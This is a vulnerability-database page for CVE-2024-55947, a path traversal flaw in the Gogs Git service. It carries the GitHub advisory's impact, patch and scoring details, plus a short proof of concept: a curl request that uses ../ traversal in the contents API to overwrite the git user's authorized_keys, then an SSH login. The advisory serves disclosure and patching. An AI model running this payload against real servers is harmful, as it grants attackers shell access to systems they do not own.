CVE-2024-55947
UNKNOWN
Published 2024-12-23T15:26:47.507Z
Actions:
Expert Analysis
Professional remediation guidance
Get tailored security recommendations from our analyst team for CVE-2024-55947. We'll provide specific mitigation strategies based on your environment and risk profile.
No CVSS data available
Description
Gogs is an open source self-hosted Git service. A malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server. The vulnerability is fixed in 0.13.1.
Available Exploits
No exploits available for this CVE.
Related News
No news articles found for this CVE.
GitHub Security Advisories
Community-driven vulnerability intelligence from GitHub
Advisory Details
### Impact
The malicious user is able to write a file to an arbitrary path on the server to gain SSH access to the server.
### Patches
Writing files outside repository Git directory has been prohibited via the repository file update API (https://github.com/gogs/gogs/pull/7859). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.
### Workarounds
No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.
### References
n/a
### Proof of Concept
1. Generate a Personal Access Tokens
2. Edit any file on the server with this
```bash
curl -v --path-as-is -X PUT --url "http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys" \
-H "Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf" \
-H "Content-Type: application/json" \
--data '{
"message": "an",
"content": "<base64encoded: your ssh pub key>"
}'
```
3. ssh connect to remote server
```bash
ssh -i temp git@localhost -p 10022
```
### For more information
If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.
Affected Packages
Go
gogs.io/gogs
ECOSYSTEM:
≥0
<0.13.1
CVSS Scoring
CVSS Score
7.5
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
References
PACKAGE
https://github.com/gogs/gogs
Advisory provided by GitHub Security Advisory Database. Published: December 23, 2024, Modified: April 10, 2025
References
Published: 2024-12-23T15:26:47.507Z
Last Modified: 2024-12-24T15:59:02.793Z
Copied to clipboard!